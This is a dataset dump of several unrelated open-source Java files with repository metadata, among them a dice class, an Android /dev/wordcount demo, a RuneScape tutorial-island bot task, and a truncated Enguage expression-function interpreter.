38a1eac96acc52003e4aa27131471e9b66a12a51 | 34,952,443,881,951 | dd7be969ab55e38e346a2aaa93286fe339edbabb | /Dice.java | 17346edf54dc0c7ea81666b101a7dc887b8238f3 | [] | no_license | LasseJensen213/CDIO_01 | https://github.com/LasseJensen213/CDIO_01 | 62f55761f0ec42a81cd0e47fee41c3242875c254 | 958466837d05f6ccfafb0e02b785daa146bededb | refs/heads/master | 2021-01-13T09:49:49.820000 | 2016-10-07T08:17:52 | 2016-10-07T08:17:52 | 69,891,518 | 0 | 2 | null | false | 2016-10-07T08:17:52 | 2016-10-03T16:59:46 | 2016-10-03T17:14:54 | 2016-10-07T08:17:52 | 33 | 0 | 2 | 0 | Java | null | null | package dice;
public class Dice {
private int faceValue;
// Roll the dices
public void roll() {
faceValue = (int)(Math.random()*6+1);
}
//Compare faceValue
public boolean isEqual(Dice d) {
if(d.getFaceValue()==this.faceValue){
return true;
}
else {
return false;
}
}
//Getters and setters
public int getFaceValue() {
return faceValue;
}
public void setFaceValue(int faceValue) {
this.faceValue = faceValue;
}
}
| UTF-8 | Java | 492 | java | Dice.java | Java | [] | null | [] | package dice;
public class Dice {
private int faceValue;
// Roll the dices
public void roll() {
faceValue = (int)(Math.random()*6+1);
}
//Compare faceValue
public boolean isEqual(Dice d) {
if(d.getFaceValue()==this.faceValue){
return true;
}
else {
return false;
}
}
//Getters and setters
public int getFaceValue() {
return faceValue;
}
public void setFaceValue(int faceValue) {
this.faceValue = faceValue;
}
}
| 492 | 0.605691 | 0.601626 | 35 | 12.057143 | 13.225393 | 42 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.2 | false | false | 15 |
268ddf235e95b2752ff1d76b6d60e42cf351332a | 34,900,904,289,283 | 670707c31ccfa9057ee7c65ab6ff8234b2cc3d28 | /1-Andoird_Sources/ch06/word_count/ word_count_java/src/mobile/android/word/count/java/wordcountjavatestmain.java | 0177b710f37cf687843df05881544d0ea5f37dc1 | [] | no_license | Hero2200/linux-kernel-demo | https://github.com/Hero2200/linux-kernel-demo | 2b37211e4266a0fa3f3fc5cd9271b9096aa3fc27 | 0b7ce2a70a3ed4fb79ac92cd5edd140a4e773fcf | refs/heads/master | 2021-01-12T17:13:57.506000 | 2017-04-13T14:44:45 | 2017-04-13T14:44:45 | 71,520,554 | 2 | 0 | null | false | 2016-10-21T02:08:21 | 2016-10-21T02:03:03 | 2016-10-21T02:03:03 | 2016-10-21T02:07:07 | 0 | 0 | 0 | 1 | null | null | null | package mobile.android.word.count.java;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
public class WordCountJavaTestMain extends Activity
{
private TextView tvWordCount;
private EditText etString;
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
tvWordCount = (TextView) findViewById(R.id.textview_wordcount);
etString = (EditText) findViewById(R.id.edittext_string);
}
public void onClick_ReadWordCountFromDev(View view)
{
tvWordCount.setText("单词数:" + String.valueOf(readWordCountFromDev()));
}
public void onClick_WriteStringToDev(View view)
{
writeStringToDev(etString.getText().toString());
Toast.makeText(this, "已向/dev/wordcount写入字符串", Toast.LENGTH_LONG).show();
}
private int readWordCountFromDev()
{
int n = 0;
byte[] buffer = new byte[4];
try
{
FileInputStream fis = new FileInputStream("/dev/wordcount");
fis.read(buffer);
n = ((int) buffer[0]) << 24 | ((int) buffer[1]) << 16
| ((int) buffer[2]) << 8 | ((int) buffer[3]);
fis.close();
}
catch (Exception e)
{
}
return n;
}
private void writeStringToDev(String str)
{
try
{
FileOutputStream fos = new FileOutputStream("/dev/wordcount");
fos.write(str.getBytes("iso-8859-1"));
fos.close();
}
catch (Exception e)
{
}
}
} | UTF-8 | Java | 1,570 | java | wordcountjavatestmain.java | Java | [] | null | [] | package mobile.android.word.count.java;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
public class WordCountJavaTestMain extends Activity
{
private TextView tvWordCount;
private EditText etString;
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
tvWordCount = (TextView) findViewById(R.id.textview_wordcount);
etString = (EditText) findViewById(R.id.edittext_string);
}
public void onClick_ReadWordCountFromDev(View view)
{
tvWordCount.setText("单词数:" + String.valueOf(readWordCountFromDev()));
}
public void onClick_WriteStringToDev(View view)
{
writeStringToDev(etString.getText().toString());
Toast.makeText(this, "已向/dev/wordcount写入字符串", Toast.LENGTH_LONG).show();
}
private int readWordCountFromDev()
{
int n = 0;
byte[] buffer = new byte[4];
try
{
FileInputStream fis = new FileInputStream("/dev/wordcount");
fis.read(buffer);
n = ((int) buffer[0]) << 24 | ((int) buffer[1]) << 16
| ((int) buffer[2]) << 8 | ((int) buffer[3]);
fis.close();
}
catch (Exception e)
{
}
return n;
}
private void writeStringToDev(String str)
{
try
{
FileOutputStream fos = new FileOutputStream("/dev/wordcount");
fos.write(str.getBytes("iso-8859-1"));
fos.close();
}
catch (Exception e)
{
}
}
} | 1,570 | 0.70801 | 0.697674 | 72 | 20.513889 | 21.81551 | 74 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.680556 | false | false | 15 |
902cc5515d6951bb0c466a58f7946e1b99627403 | 34,961,033,828,057 | 41b7addf912af49cee81750e4c61042763441b68 | /src/org/davidsadowsky/tutorialisland/tasks/Combat.java | bce27bfbfaef36baf4218f831a8ef764397ca9a9 | [] | no_license | DavidSadowsky/RSBot-Suite | https://github.com/DavidSadowsky/RSBot-Suite | d2bc686640944c4a54856232014f91824a0de87f | 15a59375d42de10acaa55452a9a0c8f253419005 | refs/heads/master | 2023-02-04T11:55:00.448000 | 2020-12-22T18:42:28 | 2020-12-22T18:42:28 | 315,728,606 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package org.davidsadowsky.tutorialisland.tasks;
import org.davidsadowsky.tutorialisland.Autotutorialisland;
import org.rspeer.runetek.adapter.scene.Npc;
import org.rspeer.runetek.api.commons.Time;
import org.rspeer.runetek.api.commons.math.Random;
import org.rspeer.runetek.api.component.Dialog;
import org.rspeer.runetek.api.component.Interfaces;
import org.rspeer.runetek.api.component.tab.Inventory;
import org.rspeer.runetek.api.component.tab.Tab;
import org.rspeer.runetek.api.input.menu.ActionOpcodes;
import org.rspeer.runetek.api.movement.Movement;
import org.rspeer.runetek.api.scene.Npcs;
import org.rspeer.runetek.api.scene.Players;
import org.rspeer.runetek.api.scene.SceneObjects;
import org.rspeer.script.task.Task;
import org.rspeer.ui.Log;
import java.util.function.BooleanSupplier;
public class Combat extends Task {
private static boolean isRunning = false;
@Override
public boolean validate() {
return (Autotutorialisland.location != null) && Autotutorialisland.location.getName().equals("Combat Area") && Autotutorialisland.location.getPrimaryArea().contains(Players.getLocal()) && !Autotutorialisland.isCombatComplete && !isRunning;
}
@Override
public int execute() {
isRunning = true;
Npc combatInstructor = Npcs.getNearest(3307);
while (combatInstructor == null) {
combatInstructor = Npcs.getNearest(3307);
}
Log.info("Talking to Combat Instructor");
combatInstructor.interact(ActionOpcodes.NPC_ACTION_0);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Dialog.canContinue();
}
}, 4000);
while (Dialog.canContinue()) {
Dialog.processContinue();
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Dialog.canContinue();
}
}, 2000);
}
Log.info("Opening equipment tab");
Interfaces.getComponent(164, 57).interact(ActionOpcodes.INTERFACE_ACTION);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Tab.EQUIPMENT.isOpen();
}
}, 10000);
Time.sleep(500,1000);
Log.info("Opening worn equipment interface");
while(Interfaces.getComponent(387, 1) == null);
Interfaces.getComponent(387,1).interact(ActionOpcodes.INTERFACE_ACTION);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Interfaces.getComponent(387,1) == null;
}
}, 10000);
Time.sleep(1000,2000);
Log.info("Closing worn equipment interface");
while(Interfaces.getComponent(84, 3, 11) == null);
Interfaces.getComponent(84, 3, 11).interact(ActionOpcodes.INTERFACE_ACTION);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Interfaces.getComponent(84, 3, 11) == null;
}
}, 10000);
Log.info("Equipping dagger");
Inventory.getFirst(1205).interact("Wield");
Time.sleep(1000,2000);
Log.info("Talking to Combat Instructor");
combatInstructor.interact(ActionOpcodes.NPC_ACTION_0);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Dialog.canContinue();
}
}, 4000);
while (Dialog.canContinue()) {
Dialog.processContinue();
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Dialog.canContinue();
}
}, 2000);
}
Time.sleep(500,1000);
Log.info("Equipping sword and shield");
Inventory.getFirst(1277).interact("Wield");
Time.sleep(1000,2000);
Inventory.getFirst(1171).interact("Wield");
Time.sleep(1000,2000);
Log.info("Opening combat tab");
while(Interfaces.getComponent(164,53) == null);
Interfaces.getComponent(164, 53).interact(ActionOpcodes.INTERFACE_ACTION);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Tab.COMBAT.isOpen();
}
}, 10000);
Time.sleep(1000, 2000);
Log.info("Fighting rat");
Movement.walkTo(Autotutorialisland.location.getSecondaryArea().getCenter());
while(Npcs.getNearest(3313) == null);
Npcs.getNearest(3313).interact("Attack");
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Players.getLocal().isHealthBarVisible();
}
}, 30000);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return !Players.getLocal().isAnimating() && !Players.getLocal().isHealthBarVisible();
}
}, 30000);
Log.info("Talking to Combat Instructor");
Movement.walkTo(Autotutorialisland.location.getPrimaryArea().getCenter());
combatInstructor.interact(ActionOpcodes.NPC_ACTION_0);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Dialog.canContinue();
}
}, 4000);
while (Dialog.canContinue()) {
Dialog.processContinue();
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Dialog.canContinue();
}
}, 2000);
}
Log.info("Equipping bow and arrows");
Inventory.getFirst(841).interact("Wield");
Time.sleep(1000,2000);
Inventory.getFirst(882).interact("Wield");
while(Npcs.getNearest(3313) == null);
Npc rat = Npcs.getNearest(3313);
rat.interact("Attack");
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Players.getLocal().isAnimating() && rat.isHealthBarVisible();
}
}, 10000);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return !Players.getLocal().isAnimating() && !rat.isHealthBarVisible();
}
}, 10000);
Log.fine("Combat phase complete");
Autotutorialisland.isCombatComplete = true;
isRunning = false;
return Random.nextInt(400, 600);
}
} | UTF-8 | Java | 6,904 | java | Combat.java | Java | [] | null | [] | package org.davidsadowsky.tutorialisland.tasks;
import org.davidsadowsky.tutorialisland.Autotutorialisland;
import org.rspeer.runetek.adapter.scene.Npc;
import org.rspeer.runetek.api.commons.Time;
import org.rspeer.runetek.api.commons.math.Random;
import org.rspeer.runetek.api.component.Dialog;
import org.rspeer.runetek.api.component.Interfaces;
import org.rspeer.runetek.api.component.tab.Inventory;
import org.rspeer.runetek.api.component.tab.Tab;
import org.rspeer.runetek.api.input.menu.ActionOpcodes;
import org.rspeer.runetek.api.movement.Movement;
import org.rspeer.runetek.api.scene.Npcs;
import org.rspeer.runetek.api.scene.Players;
import org.rspeer.runetek.api.scene.SceneObjects;
import org.rspeer.script.task.Task;
import org.rspeer.ui.Log;
import java.util.function.BooleanSupplier;
public class Combat extends Task {
private static boolean isRunning = false;
@Override
public boolean validate() {
return (Autotutorialisland.location != null) && Autotutorialisland.location.getName().equals("Combat Area") && Autotutorialisland.location.getPrimaryArea().contains(Players.getLocal()) && !Autotutorialisland.isCombatComplete && !isRunning;
}
@Override
public int execute() {
isRunning = true;
Npc combatInstructor = Npcs.getNearest(3307);
while (combatInstructor == null) {
combatInstructor = Npcs.getNearest(3307);
}
Log.info("Talking to Combat Instructor");
combatInstructor.interact(ActionOpcodes.NPC_ACTION_0);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Dialog.canContinue();
}
}, 4000);
while (Dialog.canContinue()) {
Dialog.processContinue();
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Dialog.canContinue();
}
}, 2000);
}
Log.info("Opening equipment tab");
Interfaces.getComponent(164, 57).interact(ActionOpcodes.INTERFACE_ACTION);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Tab.EQUIPMENT.isOpen();
}
}, 10000);
Time.sleep(500,1000);
Log.info("Opening worn equipment interface");
while(Interfaces.getComponent(387, 1) == null);
Interfaces.getComponent(387,1).interact(ActionOpcodes.INTERFACE_ACTION);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Interfaces.getComponent(387,1) == null;
}
}, 10000);
Time.sleep(1000,2000);
Log.info("Closing worn equipment interface");
while(Interfaces.getComponent(84, 3, 11) == null);
Interfaces.getComponent(84, 3, 11).interact(ActionOpcodes.INTERFACE_ACTION);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Interfaces.getComponent(84, 3, 11) == null;
}
}, 10000);
Log.info("Equipping dagger");
Inventory.getFirst(1205).interact("Wield");
Time.sleep(1000,2000);
Log.info("Talking to Combat Instructor");
combatInstructor.interact(ActionOpcodes.NPC_ACTION_0);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Dialog.canContinue();
}
}, 4000);
while (Dialog.canContinue()) {
Dialog.processContinue();
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Dialog.canContinue();
}
}, 2000);
}
Time.sleep(500,1000);
Log.info("Equipping sword and shield");
Inventory.getFirst(1277).interact("Wield");
Time.sleep(1000,2000);
Inventory.getFirst(1171).interact("Wield");
Time.sleep(1000,2000);
Log.info("Opening combat tab");
while(Interfaces.getComponent(164,53) == null);
Interfaces.getComponent(164, 53).interact(ActionOpcodes.INTERFACE_ACTION);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Tab.COMBAT.isOpen();
}
}, 10000);
Time.sleep(1000, 2000);
Log.info("Fighting rat");
Movement.walkTo(Autotutorialisland.location.getSecondaryArea().getCenter());
while(Npcs.getNearest(3313) == null);
Npcs.getNearest(3313).interact("Attack");
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Players.getLocal().isHealthBarVisible();
}
}, 30000);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return !Players.getLocal().isAnimating() && !Players.getLocal().isHealthBarVisible();
}
}, 30000);
Log.info("Talking to Combat Instructor");
Movement.walkTo(Autotutorialisland.location.getPrimaryArea().getCenter());
combatInstructor.interact(ActionOpcodes.NPC_ACTION_0);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Dialog.canContinue();
}
}, 4000);
while (Dialog.canContinue()) {
Dialog.processContinue();
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Dialog.canContinue();
}
}, 2000);
}
Log.info("Equipping bow and arrows");
Inventory.getFirst(841).interact("Wield");
Time.sleep(1000,2000);
Inventory.getFirst(882).interact("Wield");
while(Npcs.getNearest(3313) == null);
Npc rat = Npcs.getNearest(3313);
rat.interact("Attack");
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return Players.getLocal().isAnimating() && rat.isHealthBarVisible();
}
}, 10000);
Time.sleepUntil(new BooleanSupplier() {
@Override
public boolean getAsBoolean() {
return !Players.getLocal().isAnimating() && !rat.isHealthBarVisible();
}
}, 10000);
Log.fine("Combat phase complete");
Autotutorialisland.isCombatComplete = true;
isRunning = false;
return Random.nextInt(400, 600);
}
} | 6,904 | 0.597625 | 0.565904 | 195 | 34.410255 | 26.398832 | 247 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.682051 | false | false | 15 |
e362e6142d7559416b9dc0965809cfeebe73c6d3 | 29,875,792,565,688 | cc61e8d736fad51618d2da635466c2a2d1420d25 | /lib/src/main/java/com/zzh/lib/core/business/stream/BSProgress.java | 6f8b888dc24c5e7f10106ce725a236951982af3d | [
"MIT"
] | permissive | zzhhz/libcore | https://github.com/zzhhz/libcore | fb24bcd6c15474bf2728cd421c4e28768c2731f6 | 60905a3de4e78b972555c965ffad0d22eef7cf5e | refs/heads/master | 2020-06-23T14:54:34.614000 | 2019-07-30T07:15:49 | 2019-07-30T07:15:49 | 198,603,404 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.zzh.lib.core.business.stream;
import com.zzh.lib.stream.FStream;
public interface BSProgress extends FStream
{
void bsShowProgress(String msg);
void bsHideProgress();
}
| UTF-8 | Java | 193 | java | BSProgress.java | Java | [] | null | [] | package com.zzh.lib.core.business.stream;
import com.zzh.lib.stream.FStream;
public interface BSProgress extends FStream
{
void bsShowProgress(String msg);
void bsHideProgress();
}
| 193 | 0.756477 | 0.756477 | 11 | 16.545454 | 18.212702 | 43 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.363636 | false | false | 15 |
4207f2819a5a0fbd9169c33210324cd389793ccf | 34,677,565,984,023 | 630e08722bec5ab15acc30ae072b8f037b9e4740 | /modules/lib-sessioncontrol/src/main/java/org/openxsp/java/session/InstantMessage.java | 3cc05768e67d827f321b79feb22bb987390a76dd | [
"Apache-2.0"
] | permissive | fhg-fokus-nubomedia/signaling-plane | https://github.com/fhg-fokus-nubomedia/signaling-plane | f54feef2b77cca498501523bbd06fd203dedeba1 | 2ab48dfde4556bd6920d6cbaa1d80a8646ba737f | refs/heads/master | 2021-01-10T11:28:03.998000 | 2016-01-08T11:44:57 | 2016-01-29T21:41:18 | 49,268,585 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package org.openxsp.java.session;
/**
* Created by fsc on 7/16/14.
*/
public interface InstantMessage extends SessionControlMessage{
String getFrom();
void setFrom(String from);
String getTo();
void setTo(String to);
String getContent();
void setContent(String content);
String getContentType();
void setContentType(String contentType);
SessionControlMessageHeader getHeader();
void setHeader(SessionControlMessageHeader header);
}
| UTF-8 | Java | 486 | java | InstantMessage.java | Java | [
{
"context": "kage org.openxsp.java.session;\n\n\n/**\n * Created by fsc on 7/16/14.\n */\npublic interface InstantMessage e",
"end": 57,
"score": 0.999616801738739,
"start": 54,
"tag": "USERNAME",
"value": "fsc"
}
] | null | [] | package org.openxsp.java.session;
/**
* Created by fsc on 7/16/14.
*/
public interface InstantMessage extends SessionControlMessage{
String getFrom();
void setFrom(String from);
String getTo();
void setTo(String to);
String getContent();
void setContent(String content);
String getContentType();
void setContentType(String contentType);
SessionControlMessageHeader getHeader();
void setHeader(SessionControlMessageHeader header);
}
| 486 | 0.711934 | 0.701646 | 28 | 16.357143 | 19.116587 | 62 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.392857 | false | false | 15 |
59be67d23124a2e8e7b9e8e0aa9e9ff2b3fb218c | 32,186,484,974,376 | fac90541e1f0a60e5ae0a4e32a9782bf293198e1 | /jig-core/src/main/java/org/dddjava/jig/domain/model/models/domains/businessrules/MethodSmellList.java | 36dde5217566c42e6dd1917111906b753ed2d717 | [
"Apache-2.0"
] | permissive | yoshiejp/jig | https://github.com/yoshiejp/jig | 569f1104dc4579a83668343ee45d2fe321aa2462 | 4661a5aecd5441af3c196a132dee5cfdecfc6c30 | refs/heads/main | 2023-07-17T12:32:11.037000 | 2021-09-07T15:33:13 | 2021-09-07T15:33:13 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package org.dddjava.jig.domain.model.models.domains.businessrules;
import org.dddjava.jig.domain.model.models.jigobject.member.JigMethod;
import org.dddjava.jig.domain.model.parts.classes.method.MethodRelations;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.stream.Collectors;
/**
* メソッドの不吉なにおい一覧
*/
public class MethodSmellList {
List<MethodSmell> list;
public MethodSmellList(BusinessRules businessRules, MethodRelations methodRelations) {
this.list = new ArrayList<>();
for (BusinessRule businessRule : businessRules.list()) {
for (JigMethod method : businessRule.jigType().instanceMember().instanceMethods().list()) {
MethodSmell methodSmell = new MethodSmell(
method,
businessRule.jigType().instanceMember().fieldDeclarations(),
methodRelations
);
if (methodSmell.hasSmell()) {
list.add(methodSmell);
}
}
}
}
public List<MethodSmell> list() {
return list.stream()
.sorted(Comparator.comparing(methodSmell -> methodSmell.methodDeclaration().asFullNameText()))
.collect(Collectors.toList());
}
}
| UTF-8 | Java | 1,347 | java | MethodSmellList.java | Java | [] | null | [] | package org.dddjava.jig.domain.model.models.domains.businessrules;
import org.dddjava.jig.domain.model.models.jigobject.member.JigMethod;
import org.dddjava.jig.domain.model.parts.classes.method.MethodRelations;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.stream.Collectors;
/**
* メソッドの不吉なにおい一覧
*/
public class MethodSmellList {
List<MethodSmell> list;
public MethodSmellList(BusinessRules businessRules, MethodRelations methodRelations) {
this.list = new ArrayList<>();
for (BusinessRule businessRule : businessRules.list()) {
for (JigMethod method : businessRule.jigType().instanceMember().instanceMethods().list()) {
MethodSmell methodSmell = new MethodSmell(
method,
businessRule.jigType().instanceMember().fieldDeclarations(),
methodRelations
);
if (methodSmell.hasSmell()) {
list.add(methodSmell);
}
}
}
}
public List<MethodSmell> list() {
return list.stream()
.sorted(Comparator.comparing(methodSmell -> methodSmell.methodDeclaration().asFullNameText()))
.collect(Collectors.toList());
}
}
| 1,347 | 0.629826 | 0.629826 | 38 | 33.763157 | 30.181412 | 110 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.394737 | false | false | 15 |
a8d8e6577834ee94ecbfeab34880142195bf2408 | 36,051,955,514,545 | 03b6665d7b18a8a71d46b006ac3c04137f18cb58 | /org/enguage/objects/expr/Function.java | e70df03a429e459c7c6ef25d8cdd4d5765e23125 | [
"Apache-2.0"
] | permissive | martinwheatman/Enguage | https://github.com/martinwheatman/Enguage | 7759c55b406a5a03888e8e24b5f8479ca62cf7c6 | c563f793d9ee695c52f902326e3db517c0ece820 | refs/heads/master | 2021-01-22T03:40:34.466000 | 2021-01-03T16:11:21 | 2021-01-03T16:11:21 | 76,124,908 | 3 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package org.enguage.objects.expr;
import java.util.ListIterator;
import org.enguage.objects.Variable;
import org.enguage.objects.space.Overlay;
import org.enguage.util.Audit;
import org.enguage.util.Strings;
import org.enguage.util.attr.Attribute;
import org.enguage.util.sys.Shell;
import org.enguage.vehicle.number.Number;
import org.enguage.vehicle.reply.Reply;
public class Function {
static public final String NAME = "function";
static public final int id = 81133373; //Strings.hash( NAME );
static private Audit audit = new Audit( "Function" );
public Function( String nm ) { name = nm; } // find
public Function( String nm, Strings params, String body ) {
this( nm );
lambda = new Lambda( this, params, body );
}
private String name = "";
public String name() { return name; }
private Lambda lambda = null;
static private Strings create( String name, Strings args ) {
// args=[ "x and y", "/", "body='x + y'" ]
audit.in( "create", "name="+ name +", args="+ args );
Strings params = new Strings();
ListIterator<String> si = args.listIterator();
Strings.getWords( si, "/", params ); // added in perform call
params = params.normalise(); // "x and y" => "x", "and", "y"
params.remove( params.size()-1 ); // remove '/'
if (params.size() > 2)
params.remove( params.size()-2 ); // remove 'and'
new Function(
name,
params,
new Attribute( si.hasNext() ? si.next() : "" ).value()
);
audit.out();
return Shell.Success;
}
public String toString() {return name + (lambda==null ? "<noLambda/>" : lambda.toString());}
static private Function getFunction( String name, Strings actuals ) {
audit.in( "getFunction", name +", "+ actuals.toString("[", ", ", "]"));
Function fn = new Function( name );
fn.lambda = new Lambda( fn, actuals ); // this is a 'find', body="" == !found
if (fn.lambda.body().equals( "" )) {
audit.debug( "FUNCTION: no body found for "+ actuals +"/"+ name );
fn = null;
}
return (Function) audit.out( fn );
}
static private Strings substitute( String function, Strings actuals ) {
audit.in( "substitute", "Function="+ function +", argv="+ actuals.toString( Strings.DQCSV ));
Strings ss = null;
// resolve actual expressions into value
Strings tmp = new Strings();
for (String a : actuals) {
String b = ""+new Number( a ).valueOf();
if (b.equals("not a number"))
tmp.add( a );
else
tmp.add( b );
}
actuals = tmp;
Function f = getFunction( function, actuals );
if (f != null)
ss = new Strings( f.lambda.body() )
.substitute(
new Strings( f.lambda.signature() ), // formals
actuals.derefVariables() );
return audit.out( ss );
}
static private Strings evaluate( String name, Strings argv ) {
audit.in( "evaluate", "name="+ name +", args='"+ argv +"'" );
Strings rc = Reply.dnk();
Strings ss = substitute( name, argv.divvy( "and" ));
if (ss != null) {
rc = new Number( ss.listIterator() ).valueOf();
if (rc.equals( Number.NotANumber ))
rc = Reply.dnk();
}
return audit.out( rc );
}
static public Strings interpret( String arg ) { return interpret( new Strings( arg ));}
static public Strings interpret( Strings argv ) {
audit.in( "interpret", argv.toString( Strings.DQCSV ));
Strings rc = Shell.Fail;
if (argv.size() >= 2) {
String cmd = argv.remove( 0 ),
function = argv.remove( 0 );
argv = argv.normalise().contract( "=" );
if (cmd.equals( "create" ))
// [function] "create", "sum", "a", "b", "/", "body='a + b'"
rc = create( function, argv );
else if (cmd.equals( "evaluate" ))
// [function] "evaluate", "sum", "3", "and", "4"
rc = evaluate( function, argv );
else
audit.ERROR( "Unknown "+ NAME +".interpret() command: "+ cmd );
}
return (Strings) audit.out( rc );
}
// === test code below! ===
static private void testCreate( String fn, String formals, String body ) {
Audit.log( "The "+ fn +" of "+ formals +" is "+ body );
interpret(
new Strings( "create "+ fn +" "+ formals +" / "+
Attribute.asString( "body", body )
) );
}
static private void testQuery( String fn, String actuals ) {
Audit.log( "What is the "+ fn +" of "+ actuals );
Strings eval = interpret( new Strings("evaluate "+ fn +" "+ actuals ));
Audit.log( eval.equals( new Strings( Reply.dnk())) ?
eval.toString() : "The "+ fn +" of "+ actuals +" is "+ eval.toString() +"\n" );
}
static public void main( String args[]) {
Overlay.Set( Overlay.Get());
Overlay.attach( NAME );
Reply.dnk( "I do not know\n" );
testQuery( "sum", "1 , 1" ); // error!
testCreate( "sum", "a and b", "a + b" );
testQuery( "sum", "3 and 2" );
testCreate( "sum", "a b c and d", "a + b + c + d" );
testQuery( "sum", "4 and 3 and 2 and 1" );
Audit.log( "setting x to 1" );
Variable.set( "x", "1" );
Audit.log( "setting y to 2" );
Variable.set( "y", "2" );
testQuery( "sum", "x and y" );
testCreate( "factorial", "1", "1" );
testQuery( "factorial", "1" );
//testQuery( "factorial", "4" );
Audit.log( "PASSED" );
} }
| UTF-8 | Java | 5,146 | java | Function.java | Java | [] | null | [] | package org.enguage.objects.expr;
import java.util.ListIterator;
import org.enguage.objects.Variable;
import org.enguage.objects.space.Overlay;
import org.enguage.util.Audit;
import org.enguage.util.Strings;
import org.enguage.util.attr.Attribute;
import org.enguage.util.sys.Shell;
import org.enguage.vehicle.number.Number;
import org.enguage.vehicle.reply.Reply;
public class Function {
static public final String NAME = "function";
static public final int id = 81133373; //Strings.hash( NAME );
static private Audit audit = new Audit( "Function" );
public Function( String nm ) { name = nm; } // find
public Function( String nm, Strings params, String body ) {
this( nm );
lambda = new Lambda( this, params, body );
}
private String name = "";
public String name() { return name; }
private Lambda lambda = null;
static private Strings create( String name, Strings args ) {
// args=[ "x and y", "/", "body='x + y'" ]
audit.in( "create", "name="+ name +", args="+ args );
Strings params = new Strings();
ListIterator<String> si = args.listIterator();
Strings.getWords( si, "/", params ); // added in perform call
params = params.normalise(); // "x and y" => "x", "and", "y"
params.remove( params.size()-1 ); // remove '/'
if (params.size() > 2)
params.remove( params.size()-2 ); // remove 'and'
new Function(
name,
params,
new Attribute( si.hasNext() ? si.next() : "" ).value()
);
audit.out();
return Shell.Success;
}
public String toString() {return name + (lambda==null ? "<noLambda/>" : lambda.toString());}
static private Function getFunction( String name, Strings actuals ) {
audit.in( "getFunction", name +", "+ actuals.toString("[", ", ", "]"));
Function fn = new Function( name );
fn.lambda = new Lambda( fn, actuals ); // this is a 'find', body="" == !found
if (fn.lambda.body().equals( "" )) {
audit.debug( "FUNCTION: no body found for "+ actuals +"/"+ name );
fn = null;
}
return (Function) audit.out( fn );
}
static private Strings substitute( String function, Strings actuals ) {
audit.in( "substitute", "Function="+ function +", argv="+ actuals.toString( Strings.DQCSV ));
Strings ss = null;
// resolve actual expressions into value
Strings tmp = new Strings();
for (String a : actuals) {
String b = ""+new Number( a ).valueOf();
if (b.equals("not a number"))
tmp.add( a );
else
tmp.add( b );
}
actuals = tmp;
Function f = getFunction( function, actuals );
if (f != null)
ss = new Strings( f.lambda.body() )
.substitute(
new Strings( f.lambda.signature() ), // formals
actuals.derefVariables() );
return audit.out( ss );
}
static private Strings evaluate( String name, Strings argv ) {
audit.in( "evaluate", "name="+ name +", args='"+ argv +"'" );
Strings rc = Reply.dnk();
Strings ss = substitute( name, argv.divvy( "and" ));
if (ss != null) {
rc = new Number( ss.listIterator() ).valueOf();
if (rc.equals( Number.NotANumber ))
rc = Reply.dnk();
}
return audit.out( rc );
}
static public Strings interpret( String arg ) { return interpret( new Strings( arg ));}
static public Strings interpret( Strings argv ) {
audit.in( "interpret", argv.toString( Strings.DQCSV ));
